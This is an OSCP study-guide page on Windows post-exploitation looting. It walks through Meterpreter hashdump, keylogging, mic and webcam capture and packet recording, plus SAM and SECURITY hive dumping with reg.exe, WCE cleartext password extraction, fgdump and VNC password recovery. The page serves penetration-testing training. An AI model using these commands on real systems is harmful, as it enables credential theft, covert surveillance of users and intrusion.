OSCP
Search…
Loot Windows

Meterpreter

If you have a meterpreter shell you are able to do a lot of thing with very little effort. If you do not have a meterpreter-shell you can always create a exploit with msfvenom. An elf or exe or other format to upgrade your shell.
Show help of all commands:
1
-h
Copied!
Dump windows hashes for further analysis
1
hashdump
Copied!
Keylogger
1
keysscan_start
2
keyscan_dump
3
keyscan_stop
Copied!
Mic and webcam commands
1
record_mic Record audio from the default microphone for X seconds
2
webcam_chat Start a video chat
3
webcam_list List webcams
4
webcam_snap Take a snapshot from the specified webcam
5
webcam_stream Play a video stream from the specified webcam
Copied!

Dumping passwords and hashes on windows

This most likely requires administrative rights, that's why the chapter is found here and not in priv-esc. Once you have a hash you can move on to the Password Cracking-chapter where we discuss different techniques of cracking hashes.
Windows stores passwords in SAM - Security Account Manager. Passwords are stored differently depending on the operating system. Up until (and including) Windows 2003 stored the passwords in LAN Manager (LM) and NT LAN Manager (NTLM). LM is incredibly insecure. From windows vista and on the system does not use LM, only NTLM. So it is a bit more secure.
LM and NTLM >= Windows 2003
NTLM > Windows vista

LM Hashes

LM hashes can be really easy to crack. The LM part in the example below is the first part.
Example of NT
1
Administrator:500:NO PASSWORD*********************:BE134K40129560B46534340292AF4E72:::
Copied!

fgdump.exe

We can use fgdump.exe (locate fgdump.exe on kali) to extract NTLM and LM Password hashes. Run it and there is a file called 127.0.0.1.pwndump where the hash is saved. Now you can try to brute force it.

Windows Credencial Editor (WCE)

WCE can steal NTLM passwords from memory in cleartext! There are different versions of WCE, one for 32 bit systems and one for 64 bit. So make sure you have the right one.
You can run it like this
1
wce32.exe -w
Copied!

Loot registry without tools

This might be a better technique than using tools like wce and fgdump, since you don't have to upload any binaries. Get the registry:
1
C:\> reg.exe save hklm\sam c:\windows\temp\sam.save
2
C:\> reg.exe save hklm\security c:\windows\temp\security.save
3
C:\> reg.exe save hklm\system c:\windows\temp\system.save
Copied!
The hashes can be extracted using secretdump.py or pwdump

Pwdump 7

VNC

VNC require a specific password to log in to. So it is not the same password as the user password. If you have a meterpreter shell you can run the post exploit module to get the VNC password.
1
background
2
use post/windows/gather/credentials/vnc
3
set session X
4
exploit
Copied!

Tcp-dump on winfows

You can use meterpreter to easily take a tcp-dump, like this:
1
# Meterpreter
2
run packetrecorder -li
3
run packetrecorder -i 1
Copied!

Search for interesting files

1
#Meterpreter
2
search -f *.txt
3
search -f *.zip
4
search -f *.doc
5
search -f *.xls
6
search -f config*
7
search -f *.rar
8
search -f *.docx
9
search -f *.sql
10
11
# Recursive search
12
dir /s
Copied!

References

Last modified 1yr ago